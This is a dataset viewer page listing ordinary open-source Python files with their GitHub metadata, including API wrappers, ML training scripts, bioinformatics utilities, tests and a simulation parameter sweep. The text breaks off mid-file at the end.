xszheng2020/the_stack_dedup_python_hits_2 · Datasets at Hugging Face

9fb6e449fa62cd3c86a16e60d01fcdd30c301e7a

747

py

Python

pyopenproject/business/services/command/time_entry/find_schema.py

webu/pyopenproject

40b2cb9fe0fa3f89bc0fe2a3be323422d9ecf966

[ "MIT" ]

5

2021-02-25T15:54:28.000Z

2021-04-22T15:43:36.000Z

pyopenproject/business/services/command/time_entry/find_schema.py

webu/pyopenproject

40b2cb9fe0fa3f89bc0fe2a3be323422d9ecf966

[ "MIT" ]

7

2021-03-15T16:26:23.000Z

2022-03-16T13:45:18.000Z

pyopenproject/business/services/command/time_entry/find_schema.py

webu/pyopenproject

40b2cb9fe0fa3f89bc0fe2a3be323422d9ecf966

[ "MIT" ]

6

2021-06-18T18:59:11.000Z

2022-03-27T04:58:52.000Z

from pyopenproject.api_connection.exceptions.request_exception import RequestError from pyopenproject.api_connection.requests.get_request import GetRequest from pyopenproject.business.exception.business_error import BusinessError from pyopenproject.business.services.command.time_entry.time_entry_command import TimeEntryCommand from pyopenproject.model.schema import Schema class FindSchema(TimeEntryCommand): def __init__(self, connection): super().__init__(connection) def execute(self): try: json_obj = GetRequest(self.connection, f"{self.CONTEXT}/schema").execute() return Schema(json_obj) except RequestError as re: raise BusinessError("Error finding schema.") from re

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4cbc22c6d799e2812e523d82b271f4e49980e77c

488

py

Python

examples/experimental/pipelining.py

hhuuggoo/kitchensink

1f81050fec7eace52e0b4e1b47851b649a4e4d33

[ "BSD-3-Clause" ]

2

2015-03-17T05:02:42.000Z

2016-04-07T15:02:28.000Z

examples/experimental/pipelining.py

hhuuggoo/kitchensink

1f81050fec7eace52e0b4e1b47851b649a4e4d33

[ "BSD-3-Clause" ]

null

examples/experimental/pipelining.py

hhuuggoo/kitchensink

1f81050fec7eace52e0b4e1b47851b649a4e4d33

[ "BSD-3-Clause" ]

1

2015-10-07T21:50:44.000Z

import logging import time import pandas as pd import numpy as np from kitchensink.clients.http import Client from kitchensink.data import RemoteData from kitchensink import settings settings.setup_client("http://localhost:6323/") c = Client(settings.rpc_url) """follow multi node instructions from README.md """ df = pd.DataFrame({'a' : np.arange(100000)}) remote = RemoteData(obj=df) retval = remote.pipeline(prefix='pipeline_test') print retval print c.data_info([remote.data_url])

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4cca86788d8edf09b1ebce371891d7dd5a5312f6

7,670

py

Python

death/trashcan/trainerC.py

Fuchai/mayoehr

ec79d2157bedf4f4f0fc783d86523df8a758e27c

[ "MIT" ]

null

death/trashcan/trainerC.py

Fuchai/mayoehr

ec79d2157bedf4f4f0fc783d86523df8a758e27c

[ "MIT" ]

null

death/trashcan/trainerC.py

Fuchai/mayoehr

ec79d2157bedf4f4f0fc783d86523df8a758e27c

[ "MIT" ]

null

# import pandas as pd # from archi.computer import Computer # import torch # import numpy # import pdb # from pathlib import Path # import os # from os.path import abspath # from death.post.inputgen_planC import InputGen # from torch.utils.data import DataLoader # import torch.nn as nn # import archi.param as param # from torch.autograd import Variable # import gc # # batch_size = 1 # # # class dummy_context_mgr(): # def __enter__(self): # return None # # def __exit__(self, exc_type, exc_value, traceback): # return False # # def save_model(net, optim, epoch): # epoch = int(epoch) # task_dir = os.path.dirname(abspath(__file__)) # pickle_file = Path(task_dir).joinpath("saves/DNCfull_" + str(epoch)+ +"_"+str(i) + ".pkl") # pickle_file = pickle_file.open('wb') # torch.save((net, optim, epoch), pickle_file) # # # def load_model(computer): # task_dir = os.path.dirname(abspath(__file__)) # save_dir = Path(task_dir) / "saves" # highestepoch = -1 # highestiter = -1 # for child in save_dir.iterdir(): # epoch = str(child).split("_")[2] # iteration = str(child).split("_")[3].split('.')[0] # iteration=int(iteration) # epoch = int(epoch) # # some files are open but not written to yet. # if epoch > highestepoch and iteration>highestiter and child.stat().st_size > 2048: # highestepoch = epoch # highestiter=iteration # if highestepoch == -1 and highestepoch==-1: # return computer, None, -1 # pickle_file = Path(task_dir).joinpath("saves/DNCfull_" + str(highestepoch)+"_"+str(iteration) + ".pkl") # print("loading model at ", pickle_file) # pickle_file = pickle_file.open('rb') # model, optim, epoch = torch.load(pickle_file) # # print('Loaded model at epoch ', highestepoch, 'iteartion', iteration) # # for child in save_dir.iterdir(): # epoch = str(child).split("_")[2].split('.')[0] # iteration = str(child).split("_")[3].split('.')[0] # if int(epoch) != highestepoch and int(iteration) != highestiter: # os.remove(child) # print('Removed incomplete save file and all else.') # # return model, optim, epoch # # def run_one_patient_one_step(): # # this is so python does garbage collection automatically. # # we are debugging the # pass # # def run_one_patient(computer, input, target, optimizer, loss_type, real_criterion, # binary_criterion, validate=False, first=False): # # input = Variable(torch.Tensor(input).cuda()) # target = Variable(torch.Tensor(target).cuda()) # # # we have no critical index, becuase critical index are those timesteps that # # DNC is required to produce outputs. This is not the case for our project. # # criterion does not need to be reinitiated for every story, because we are not using a mask # # time_length = input.size()[1] # # with torch.no_grad if validate else dummy_context_mgr(): # patient_output = Variable(torch.Tensor(1, time_length, param.v_t)).cuda() # for timestep in range(time_length): # # first colon is always size 1 # feeding = input[:, timestep, :] # output = computer(feeding) # assert not (output!=output).any() # patient_output[0, timestep, :] = output # # # patient_output: (batch_size 1, time_length, output_dim ~4000) # time_to_event_output=patient_output[:,:,0] # cause_of_death_output=patient_output[:,:,1:] # time_to_event_target=target[:,:,0] # cause_of_death_target=target[:,:,1:] # # patient_loss=None # # # this block will not work for batch input, # # you should modify it so that the loss evaluation is not determined by logic but function. # if loss_type[0]==0: # # in record # toe_loss = real_criterion(time_to_event_output,time_to_event_target) # cod_loss = binary_criterion(cause_of_death_output,cause_of_death_target) # patient_loss=toe_loss+cod_loss # else: # # not in record # # be careful with the sign, penalize when and only when positive # underestimation = time_to_event_target-time_to_event_output # underestimation = nn.ReLU(underestimation) # toe_loss = real_criterion(underestimation,0) # cod_loss = binary_criterion(cause_of_death_output,cause_of_death_target) # patient_loss=toe_loss+cod_loss # # if not validate: # # TODO UNDERSTAND WHAT THE FLAG MEANS # patient_loss.backward() # optimizer.step() # # del input # del target # # return patient_loss # # # def train(computer, optimizer, real_criterion, binary_criterion, # igdl, starting_epoch, total_epochs): # # for epoch in range(starting_epoch, total_epochs): # # for i, (input, target, loss_type) in enumerate(igdl): # # if i==0: # train_story_loss = run_one_patient(computer, input, target, optimizer, loss_type, # real_criterion,binary_criterion, first=True) # else: # train_story_loss = run_one_patient(computer, input, target, optimizer, loss_type, # real_criterion,binary_criterion) # computer.new_sequence_reset() # gc.collect() # del input, target, loss_type # # torch.cuda.empty_cache() # # print("#####################################") # # print("printing all objects") # # for obj in gc.get_objects(): # # try: # # if torch.is_tensor(obj) or (hasattr(obj, 'data') and torch.is_tensor(obj.data)): # # print(type(obj), obj.size()) # # except (OSError , ModuleNotFoundError, KeyError, NotImplementedError): # # pass # # # if i % 100 == 0: # print("learning. count: %4d, training loss: %.4f" % # (i, train_story_loss[0])) # # TODO No validation support for now. # # val_freq = 16 # # if batch % val_freq == val_freq - 1: # # print('summary. epoch: %4d, batch number: %4d, running loss: %.4f' % # # (epoch, batch, running_loss / val_freq)) # # running_loss = 0 # # # also test the model # # val_loss = run_one_story(computer, optimizer, story_length, batch_size, pgd, validate=False) # # print('validate. epoch: %4d, batch number: %4d, validation loss: %.4f' % # # (epoch, batch, val_loss)) # # save_model(computer, optimizer, epoch) # print("model saved for epoch ", epoch) # # # if __name__=="__main__": # total_epochs = 10 # lr = 1e-7 # optim = None # starting_epoch = -1 # # ig=InputGen() # igdl=DataLoader(dataset=ig,batch_size=1,shuffle=False,num_workers=16) # # computer = Computer() # # # if load model # # computer, optim, starting_epoch = load_model(computer) # # computer = computer.cuda() # if optim is None: # optimizer = torch.optim.Adam(computer.parameters(), lr=lr) # else: # print('use Adadelta optimizer with learning rate ', lr) # optimizer = torch.optim.Adadelta(computer.parameters(), lr=lr) # # real_criterion=nn.SmoothL1Loss() # binary_criterion=nn.BCEWithLogitsLoss() # # # starting with the epoch after the loaded one # # train(computer, optimizer, real_criterion, binary_criterion, # igdl, int(starting_epoch) + 1, total_epochs)

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4ccaf2a923c6aa214769dc1a6e236dcc500eab3d

2,791

py

Python

scripts/site2samp.py

cz-ye/MetNet

3711ca66fc43ffe051f9772e4ec5ec90b2a584b9

[ "MIT" ]

null

scripts/site2samp.py

cz-ye/MetNet

3711ca66fc43ffe051f9772e4ec5ec90b2a584b9

[ "MIT" ]

null

scripts/site2samp.py

cz-ye/MetNet

3711ca66fc43ffe051f9772e4ec5ec90b2a584b9

[ "MIT" ]

null

#! /usr/bin/env python import sys, getopt from Bio import SeqIO from Bio.Seq import Seq def generate_sample_seq(human_seq, mouse_seq, human_site, mouse_site, window, pos_sample, neg_sample): i = 0 j = 0 print len(human_seq) print len(mouse_seq) flank = int(window)/2 for line in human_site.readlines(): temp = line.split('\t') if temp[0] in human_seq: if human_seq[temp[0]].seq[int(float(temp[1]))-1:int(float(temp[1]))+1] == 'AC': before = -min(int(float(temp[1]))-flank-1, 0) after = max(int(float(temp[1]))+flank-len(human_seq[temp[0]]), 0) if int(float(temp[2])) == 1: pos_sample.write( 'N'*before +str(human_seq[temp[0]].seq[max(0, int(float(temp[1]))-flank-1):int(float(temp[1]))+flank])+ 'N'*after+'\n') elif int(float(temp[2])) == -1: neg_sample.write( 'N'*before +str(human_seq[temp[0]].seq[max(0,int(float(temp[1]))-flank-1):int(float(temp[1]))+flank])+ 'N'*after+'\n') else: print "human wrong" i+=1 else: j+=1 print i, j i = 0 j = 0 for line in mouse_site.readlines(): temp = line.split('\t') if temp[0] in mouse_seq: if mouse_seq[temp[0]].seq[int(float(temp[1]))-1:int(float(temp[1]))+1] == 'AC': before = -min(int(float(temp[1]))-flank-1, 0) after = max(int(float(temp[1]))+flank-len(mouse_seq[temp[0]]), 0) if int(float(temp[2])) == 1: pos_sample.write( 'N'*before +str(mouse_seq[temp[0]].seq[max(0,int(float(temp[1]))-flank-1):int(float(temp[1]))+flank]) +'N'*after+'\n') elif int(float(temp[2])) == -1: neg_sample.write( 'N'*before +str(mouse_seq[temp[0]].seq[max(0,int(float(temp[1]))-flank-1):int(float(temp[1]))+flank]) +'N'*after+'\n') else: print "mouse wrong" i+=1 else: j+=1 print i, j return def main(argv): try: opts, args = getopt.getopt(argv[1:], 'm:p:w:', ['mode=', 'path=', 'window=']) except getopt.GetoptError, err: print(str(err)) sys.exit(2) for o, a in opts: if o in ('-m', '--mode'): mode = a if o in ('-p', '--path'): path = a if o in ('-w', '--window'): window = a mode2serial = { 'transcript_train': '0', 'transcript_test': '2', 'cdna_train': '1', 'cdna_test': '3'} human_seq = SeqIO.to_dict(SeqIO.parse(path+"human_"+mode+'.txt', "fasta")) mouse_seq = SeqIO.to_dict(SeqIO.parse(path+"mouse_"+mode+'.txt', "fasta")) human_site = open(path+"human_pku"+mode2serial[mode], "r") mouse_site = open(path+"mouse_pku"+mode2serial[mode], "r") pos_sample = open(path+window+'/'+mode+"/p_samples", "w") neg_sample = open(path+window+'/'+mode+"/n_samples", "w") generate_sample_seq(human_seq, mouse_seq, human_site, mouse_site, window, pos_sample, neg_sample) if __name__ == '__main__': main(sys.argv)

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4cd4609dffb156d76282a078d409e43fa656e910

555

py

Python

setup.py

modgahead/django-periodic-tasks

4ffe90c18fb77dce49658b294b7b090b258119a2

[ "MIT" ]

2

2018-02-25T18:31:59.000Z

2020-04-30T11:23:57.000Z

setup.py

modgahead/django-periodic-tasks

4ffe90c18fb77dce49658b294b7b090b258119a2

[ "MIT" ]

null

setup.py

modgahead/django-periodic-tasks

4ffe90c18fb77dce49658b294b7b090b258119a2

[ "MIT" ]

1

2020-05-01T09:54:54.000Z

from distutils.core import setup setup( name='django-periodic-tasks', version='0.0.1', packages=[ 'periodic_tasks', 'periodic_tasks.migrations', 'periodic_tasks.management', 'periodic_tasks.management.commands', ], package_dir={'': 'src'}, url='https://github.com/modgahead/django-periodic-tasks', license='MIT', author='Sergey Isayenko', description='Periodic tasks app for Django', install_requires=[ 'Django>=1.8', 'croniter==0.3.16', ], zip_safe=False )

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4cde658a1f9692b735ee78405c77302185b99630

921

py

Python

src/backend/app_user_management/web_app_user.py

MatthewRizzo/timesheet_tracker

4f492d7fe150430f899a7613e4d80af229db0ec9

[ "MIT" ]

2

2020-07-12T07:58:06.000Z

2020-10-05T21:55:48.000Z

src/backend/app_user_management/web_app_user.py

MatthewRizzo/timesheet_tracker

4f492d7fe150430f899a7613e4d80af229db0ec9

[ "MIT" ]

15

2020-07-15T19:24:42.000Z

2022-01-20T00:55:09.000Z

src/backend/app_user_management/web_app_user.py

MatthewRizzo/timesheet_tracker

4f492d7fe150430f899a7613e4d80af229db0ec9

[ "MIT" ]

null

# -- External Packages -- # from flask import Flask, redirect, flash from flask_login import LoginManager, UserMixin # -- Project Defined Imports -- # from backend.backend_controller import BackendController class WebAppUser(UserMixin): """Class defining what a "user" actually is. \n:parma send_to_client_func - The function from app_manager capable of sending messages up a socket to the frontend \n:param user_unique_id - A unique id given to each user """ def __init__(self, username: str, password: str, user_unique_id, send_to_client_func): # A user is mostly the backend controller wrapped around identifiers for the account self.username = username self.password = password self.backend_controller = BackendController(send_to_client=send_to_client_func, username=self.username) # Required by extension of UserMixin self.id = user_unique_id

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4ce2d8e61e0296c603b3e69e37f228f1e42f2d9e

315

py

Python

activity/tests/datetime_scoring_period_tests.py

moneypro/espn-api

65fd0b18f2f62d20aa2ee1dd0bfd5cb3d92bdd01

[ "MIT" ]

4

2021-01-20T15:05:05.000Z

2021-05-15T02:54:29.000Z

activity/tests/datetime_scoring_period_tests.py

moneypro/espn-api

65fd0b18f2f62d20aa2ee1dd0bfd5cb3d92bdd01

[ "MIT" ]

null

activity/tests/datetime_scoring_period_tests.py

moneypro/espn-api

65fd0b18f2f62d20aa2ee1dd0bfd5cb3d92bdd01

[ "MIT" ]

null

from datetime import date from activity.datetime_scoring_period import DatetimeScoringPeriod class DatetimeScoringPeriodTest: def setup(self): self.target = DatetimeScoringPeriod() def test_sanity(self): d = date(year=2021, month=10, day=24) assert 6 == self.target.convert(d)

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4cef34acb18fc5c71d3f4cac0b2080ca82e206a9

384

py

Python

yt_concate/pipeline/steps/postflight.py

kinslersi/yt-concate

b68a842138997c48bf605e9811cf47f0db2faaa6

[ "MIT" ]

null

yt_concate/pipeline/steps/postflight.py

kinslersi/yt-concate

b68a842138997c48bf605e9811cf47f0db2faaa6

[ "MIT" ]

null

yt_concate/pipeline/steps/postflight.py

kinslersi/yt-concate

b68a842138997c48bf605e9811cf47f0db2faaa6

[ "MIT" ]

null

import os import logging from yt_concate.pipeline.steps.step import Step from yt_concate.setting import VIDEOS_DIR, CAPTIONS_DIR class Postflight(Step): def process(self, data, inputs, utils): logger = logging.getLogger() logger.info("in postflight") if inputs["cleanup"] == "True": os.remove(VIDEOS_DIR) os.remove(CAPTIONS_DIR)

25.6

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1

0

2

980c695d51dab28bcf2286d67c55fde0c3f561d3

260

py

Python

TD/scripts/hooks.py

ulyssesdotcodes/vscode-ldjs

ac2c0300415f30fe3bbae41a62dc7f007c51fb83

[ "BSD-3-Clause" ]

13

2019-01-03T17:34:29.000Z

2020-12-27T08:54:46.000Z

TD/scripts/hooks.py

ulyssesp/vscode-ldjs

ac2c0300415f30fe3bbae41a62dc7f007c51fb83

[ "BSD-3-Clause" ]

2

2021-10-05T19:55:56.000Z

2022-02-17T19:01:08.000Z

TD/scripts/hooks.py

ulyssesp/vscode-ldjs

ac2c0300415f30fe3bbae41a62dc7f007c51fb83

[ "BSD-3-Clause" ]

null

import time def newJson(json): print(op('container1/record')[0]) if op('container1/record')[0] == 1: jsonRecord = op('json_record') jsonRecord[0,0] = int(time.time()) jsonRecord[0,1] = json op('json_record_out').par.write.pulse() return

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null

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2

981a78f293bba56a59977a034c7c8fe0c0bad22b

663

py

Python

givenergy_modbus/exceptions.py

dewet22/givenergy-modbus

75e7ab7a7a6207c1b5efc2be5745bb393d9d840d

[ "Apache-2.0" ]

3

2022-02-17T12:00:42.000Z

2022-03-24T09:32:06.000Z

givenergy_modbus/exceptions.py

dewet22/givenergy-modbus

75e7ab7a7a6207c1b5efc2be5745bb393d9d840d

[ "Apache-2.0" ]

5

2022-01-24T15:25:17.000Z

2022-03-17T18:17:24.000Z

givenergy_modbus/exceptions.py

dewet22/givenergy-modbus

75e7ab7a7a6207c1b5efc2be5745bb393d9d840d

[ "Apache-2.0" ]

5

2022-01-24T20:59:18.000Z

2022-03-17T18:47:54.000Z

class ExceptionBase(Exception): """Base exception.""" message: str def __init__(self, message: str) -> None: super().__init__(message) self.message = message class InvalidPduState(ExceptionBase): """Thrown during PDU self-validation.""" def __init__(self, message: str, pdu) -> None: super().__init__(message=message) self.pdu = pdu class InvalidFrame(ExceptionBase): """Thrown during framing when a message cannot be extracted from a frame buffer.""" frame: bytes def __init__(self, message: str, frame: bytes) -> None: super().__init__(message=message) self.frame = frame

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null

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null

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1

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981c530b54b5e146141b7d1224868de41fe435cb

2,053

py

Python

adscores/data/fcdd_2021_table2.py

jpcbertoldo/ad-scores

b106d5844d7dc5380ee8d7ce74d60b6e59aa8717

[ "MIT" ]

null

adscores/data/fcdd_2021_table2.py

jpcbertoldo/ad-scores

b106d5844d7dc5380ee8d7ce74d60b6e59aa8717

[ "MIT" ]

null

adscores/data/fcdd_2021_table2.py

jpcbertoldo/ad-scores

b106d5844d7dc5380ee8d7ce74d60b6e59aa8717

[ "MIT" ]

null

""" from liznerski_explainable_2021 Liznerski, P., Ruff, L., Vandermeulen, R.A., Franks, B.J., Kloft, M., Muller, K.R., 2021. Explainable Deep One-Class Classification, in: International Conference on Learning Representations. Presented at the International Conference on Learning Representations. Table 3 """ from pathlib import Path import pandas as pd txt_fifle = Path(__file__).parent / "fcdd_2021_table2.txt" # contains the data part of the table above str_data = txt_fifle.read_text() nlines_per_group = 11 # this is in the order of the lines inside each group of 11 lines METHODS_NAMES = [ "AE-SS", "AE-L2", "Ano-GAN", "CNNFD", "VEVAE", "SMAI", "GDR", "P-NET", "FCDD-unsupervised", "FCDD-semi-supervised", ] lines = str_data.strip().split("\n") line_groups = [ lines[(i * nlines_per_group):((i + 1) * nlines_per_group)] for i in range(len(lines) // nlines_per_group) ] line_groups = [ { "class": g[0].lower().replace(" ", "-"), **{ col: float(val) for col, val in zip(METHODS_NAMES, g[1:]) }, } for g in line_groups ] df = pd.DataFrame.from_records(data=line_groups).set_index("class") def get_aess(): return df[["AE-SS"]].rename(columns={"AE-SS": "score"}) def get_ael2(): return df[["AE-L2"]].rename(columns={"AE-L2": "score"}) def get_ano_gan(): return df[["Ano-GAN"]].rename(columns={"Ano-GAN": "score"}) def get_cnnfd(): return df[["CNNFD"]].rename(columns={"CNNFD": "score"}) def get_vevae(): return df[["VEVAE"]].rename(columns={"VEVAE": "score"}) def get_smai(): return df[["SMAI"]].rename(columns={"SMAI": "score"}) def get_gdr(): return df[["GDR"]].rename(columns={"GDR": "score"}) def get_pnet(): return df[["P-NET"]].rename(columns={"P-NET": "score"}) def get_fcdd_unsupervised(): return df[["FCDD-unsupervised"]].rename(columns={"FCDD-unsupervised": "score"}) def get_fcdd_semi_supervised(): return df[["FCDD-semi-supervised"]].rename(columns={"FCDD-semi-supervised": "score"})

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2,053

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0

null

0

null

0

1

0

1

0

2

e24ddfd08161c451b3ca37245fce6912c97295aa

2,295

py

Python

run/runPN4_Showcase.py

huppd/PINTimpact

766b2ef4d2fa9e6727965e48a3fba7b752074850

[ "MIT" ]

null

run/runPN4_Showcase.py

huppd/PINTimpact

766b2ef4d2fa9e6727965e48a3fba7b752074850

[ "MIT" ]

null

run/runPN4_Showcase.py

huppd/PINTimpact

766b2ef4d2fa9e6727965e48a3fba7b752074850

[ "MIT" ]

null

import os import platform_paths as pp EXE = 'peri_navier4' os.chdir(pp.EXE_PATH) os.system('make '+EXE+' -j4') CASE_PATH = ['']*5 npx = 4 npy = 2 npt = 4 case_consts = ' --linSolName="GMRES" --piccard --flow=1 --domain=1 --force=1 --radius=0.1 --amp=0.1 --npx='+str(npx)+' --npy='+str(npy)+' --npt='+str(npt)+' --tolNOX=1.e-2 --tolBelos=1.e-1 --maxIter=20 --lx=4. --ly=2. --xm='+str(0.25) + ' ' precTypes = [0, 10] ns = [4] res = [10, 100, 200] STS = [10, 100, 200] fixTypes = [1, 2, 4, 6, 9, 10] ns = [5] precTypes = [0, 1, 2] res = [200] STS = [251] fixTypes = [1] for precType in precTypes: CASE_PATH[0] = 'precType_'+str(precType) if not os.path.exists(pp.DATA_PATH+CASE_PATH[0]): os.mkdir(pp.DATA_PATH+CASE_PATH[0]) for n in ns: CASE_PATH[1] = '/n2_'+str(n) if not os.path.exists(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]): os.mkdir(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]) for re in res: CASE_PATH[2] = '/re_'+str(re) if not os.path.exists(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]): os.mkdir(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]) for st in STS: CASE_PATH[3] = '/alpha2_'+str(st) if not os.path.exists(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]+CASE_PATH[3]): os.mkdir(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]+CASE_PATH[3]) for fixType in fixTypes: CASE_PATH[4] = '/fixType_'+str(fixType) if not os.path.exists(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]+CASE_PATH[3]+CASE_PATH[4] ): os.mkdir(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]+CASE_PATH[3]+CASE_PATH[4]) os.chdir(pp.DATA_PATH+CASE_PATH[0]+CASE_PATH[1]+CASE_PATH[2]+CASE_PATH[3]+CASE_PATH[4]) os.system(' rm ./* -r -v ') case_para = ' --precType='+str(precType)+' --nx='+str(2*2**n+1)+' --ny='+str(2**n+1)+' --nt='+str(2**(n-1)+1)+' --re='+str(re)+' --alpha2='+str(st)+' --fixType='+str(fixType)+' ' print case_consts + case_para os.system(pp.exe_pre(npx*npy*npt,' -R lustre ')+pp.EXE_PATH+EXE+case_para+case_consts)

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2,295

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0.200514

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null

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null

0

1

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e2610355b9b43f9a383451e16f9c38775057e984

8,878

py

Python

tests/integration/models/test_project_contract.py

nethad/moco-wrapper

012f9aab6e9fa60e3ccdf7254f0366b108651899

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

tests/integration/models/test_project_contract.py

nethad/moco-wrapper

012f9aab6e9fa60e3ccdf7254f0366b108651899

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

tests/integration/models/test_project_contract.py

nethad/moco-wrapper

012f9aab6e9fa60e3ccdf7254f0366b108651899

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

from moco_wrapper.util.response import JsonResponse, ListingResponse, EmptyResponse import string import random from datetime import date from .. import IntegrationTest class TestProjectContract(IntegrationTest): def get_unit(self): with self.recorder.use_cassette("TestProjectContract.get_unit"): unit = self.moco.Unit.getlist().items[0] return unit def get_customer(self): with self.recorder.use_cassette("TestProjectContract.get_customer"): customer_create = self.moco.Company.create( "TestProjectContract", company_type="customer" ) return customer_create.data def get_user(self): with self.recorder.use_cassette("TestProjectContract.get_user"): user = self.moco.User.getlist().items[0] return user def get_other_user(self): unit = self.get_unit() with self.recorder.use_cassette("TestProjectContract.get_other_user"): user_create = self.moco.User.create( "contract", "user", "{}@mycompany.com".format(self.id_generator()), self.id_generator(), unit.id, active=True, ) return user_create.data def test_getlist(self): user = self.get_user() customer = self.get_customer() with self.recorder.use_cassette("TestProjectContract.test_getlist"): project_create = self.moco.Project.create( "dummy project, test contract getlist", "EUR", date(2020, 1, 1), user.id, customer.id ) contract_list = self.moco.ProjectContract.getlist(project_create.data.id) assert project_create.response.status_code == 200 assert contract_list.response.status_code == 200 assert isinstance(contract_list, ListingResponse) def test_create(self): user = self.get_user() customer = self.get_customer() other_user = self.get_other_user() #created user for assigning to project with self.recorder.use_cassette("TestProjectContract.test_create"): project_create = self.moco.Project.create( "dummy project, test contract create", "EUR", date(2020, 1, 1), user.id, customer.id ) billable = False active = True budget = 9900 hourly_rate = 100 contract_create = self.moco.ProjectContract.create( project_create.data.id, other_user.id, billable=billable, active=active, budget=budget, hourly_rate=hourly_rate ) assert project_create.response.status_code == 200 assert contract_create.response.status_code == 200 assert isinstance(project_create, JsonResponse) assert isinstance(contract_create, JsonResponse) assert contract_create.data.firstname == other_user.firstname assert contract_create.data.lastname == other_user.lastname assert contract_create.data.billable == billable assert contract_create.data.budget == budget assert contract_create.data.user_id == other_user.id assert contract_create.data.hourly_rate == hourly_rate assert contract_create.data.active == active def test_get(self): user = self.get_user() customer = self.get_customer() other_user = self.get_other_user() #created user for assigning to project with self.recorder.use_cassette("TestProjectContract.test_get"): project_create = self.moco.Project.create( "dummy project, test contract get", "EUR", date(2020, 1, 1), user.id, customer.id ) billable = False active = True budget = 9900 hourly_rate = 100 contract_create = self.moco.ProjectContract.create( project_create.data.id, other_user.id, billable=billable, active=active, budget=budget, hourly_rate=hourly_rate ) contract_get = self.moco.ProjectContract.get( project_create.data.id, contract_create.data.id ) assert project_create.response.status_code == 200 assert contract_create.response.status_code == 200 assert contract_get.response.status_code == 200 assert isinstance(project_create, JsonResponse) assert isinstance(contract_create, JsonResponse) assert isinstance(contract_get, JsonResponse) assert contract_get.data.firstname == other_user.firstname assert contract_get.data.lastname == other_user.lastname assert contract_get.data.billable == billable assert contract_get.data.budget == budget assert contract_get.data.user_id == other_user.id assert contract_get.data.hourly_rate == hourly_rate assert contract_get.data.active == active def test_update(self): user = self.get_user() customer = self.get_customer() other_user = self.get_other_user() #created user for assigning to project with self.recorder.use_cassette("TestProjectContract.test_update"): project_create = self.moco.Project.create( "dummy project, test contract update", "EUR", date(2020, 1, 1), user.id, customer.id ) billable = False active = True budget = 9900.5 hourly_rate = 100.2 contract_create = self.moco.ProjectContract.create( project_create.data.id, other_user.id, billable=True, budget=1, hourly_rate=2, ) contract_update = self.moco.ProjectContract.update( project_create.data.id, contract_create.data.id, billable=billable, active=active, budget=budget, hourly_rate=hourly_rate ) assert project_create.response.status_code == 200 assert contract_create.response.status_code == 200 assert contract_update.response.status_code == 200 assert isinstance(project_create, JsonResponse) assert isinstance(contract_create, JsonResponse) assert isinstance(contract_update, JsonResponse) assert contract_update.data.firstname == other_user.firstname assert contract_update.data.lastname == other_user.lastname assert contract_update.data.billable == billable assert contract_update.data.budget == budget assert contract_update.data.user_id == other_user.id assert contract_update.data.hourly_rate == hourly_rate assert contract_update.data.active == active def test_delete(self): user = self.get_user() customer = self.get_customer() other_user = self.get_other_user() #created user for assigning to project with self.recorder.use_cassette("TestProjectContract.test_delete"): project_create = self.moco.Project.create( "dummy project, test contract get", "EUR", date(2020, 1, 1), user.id, customer.id ) billable = False active = True budget = 9900 hourly_rate = 100 contract_create = self.moco.ProjectContract.create( project_create.data.id, other_user.id, billable=billable, active=active, budget=budget, hourly_rate=hourly_rate ) contract_delete = self.moco.ProjectContract.delete( project_create.data.id, contract_create.data.id ) assert project_create.response.status_code == 200 assert contract_create.response.status_code == 200 assert contract_delete.response.status_code == 204 assert isinstance(project_create, JsonResponse) assert isinstance(contract_create, JsonResponse) assert isinstance(contract_delete, EmptyResponse)

35.798387

85

0.579072

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8,878

5.672

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0.081805

0.047149

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35.798387

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0

null

0

1

0

null

0

2

e26895fab97d6a8d6c9b0aadc9242bf75f68e582

3,369

py

Python

ExperimentManagement/dummy_trainer.py

CKhan1/READ-PSB-AI-right-whale-photo-id-Kaggle

b6723724148029f68187bbd7ac598ea90a7542f3

[ "MIT" ]

2

2020-08-19T11:03:42.000Z

2022-02-18T02:49:28.000Z

ExperimentManagement/dummy_trainer.py

X10Khan/whales

313fd487dec6080bb3a518d312cd9f1e29958f16

[ "MIT" ]

null

ExperimentManagement/dummy_trainer.py

X10Khan/whales

313fd487dec6080bb3a518d312cd9f1e29958f16

[ "MIT" ]

4

2018-10-23T15:47:22.000Z

2021-02-03T03:35:13.000Z

import argparse import copy import os from bunch import Bunch from mock import Mock import sys import re from ml_utils import id_generator, TimeSeries, LogTimeseriesObserver def create_mock(): return Mock() class DummyUrlTranslator(object): def url_to_path(self, url): return url def path_to_url(self, path): return path class DummyTrainer(object): def __init__(self): pass def get_url_translator(self): return DummyUrlTranslator() def transform_urls_to_paths(self, args): regex = re.compile('.*_url$') keys = copy.copy(vars(args)) for arg in keys: if regex.match(arg): new_arg = re.sub('_url$', '_path', arg) setattr(args, new_arg, getattr(args, arg)) return args def _create_timeseries_and_figures(self, channels, figures_schema, *args, **kwargs): ts = Bunch() for ts_name in channels: ts.__setattr__(ts_name, TimeSeries()) for figure_title, l in figures_schema.iteritems(): for idx, (ts_name, line_name, mean_freq) in enumerate(l): observer = LogTimeseriesObserver(name=ts_name + ':' + line_name, add_freq=mean_freq) getattr(ts, ts_name).add_add_observer(observer) return ts def save_model(self, model, file_name): print 'ModelPath', file_name model_path = self.saver.save_train_state_new(model, file_name) return model_path def init_command_receiver(self, *args, **kwargs): self.command_receiver = create_mock() def create_bokeh_session(self): pass def start_exit_handler_thread(self, *args): pass def stop_exit_handler_thread(self): pass def create_control_parser(self, default_owner): parser = argparse.ArgumentParser(description='TODO', fromfile_prefix_chars='@') parser.add_argument('--exp-dir-url', type=str, default=None, help='TODO') parser.add_argument('--exp-parent-dir-url', type=str, default=None, help='TODO') return parser def main(self, *args, **kwargs): parser = self.create_parser() control_parser = self.create_control_parser(default_owner='a') control_args, prog_argv = control_parser.parse_known_args(sys.argv[1:]) control_args = self.transform_urls_to_paths(control_args) prog_args = 